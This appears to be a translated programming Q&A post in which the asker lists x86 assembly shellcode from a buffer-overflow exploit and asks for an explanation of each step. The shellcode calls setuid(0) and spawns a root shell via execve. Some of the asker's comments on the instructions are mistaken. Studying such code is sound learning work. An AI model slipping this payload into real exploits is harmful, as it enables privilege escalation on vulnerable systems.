【发布时间】:2010-11-08 18:05:33
【问题描述】:
这是一个利用bufferoverflow漏洞的shellcode。它设置setuid(0) 并使用execve() 生成一个shell。以下是我的解释方式:
xor %ebx,%ebx ; Xoring to make ebx value 0
lea 0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int $0x80 ; interrupt
push %ebx ; push ebx
push $0x68732f6e ; push address // why this address only????
push $0x69622f2f ; push address // same question
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
cltd ; mov execve sys call into al
mov $0xb,%al
int $0x80 ; interrupt
谁能解释清楚整个步骤?
【问题讨论】:
标签: assembly x86 buffer-overflow exploit shellcode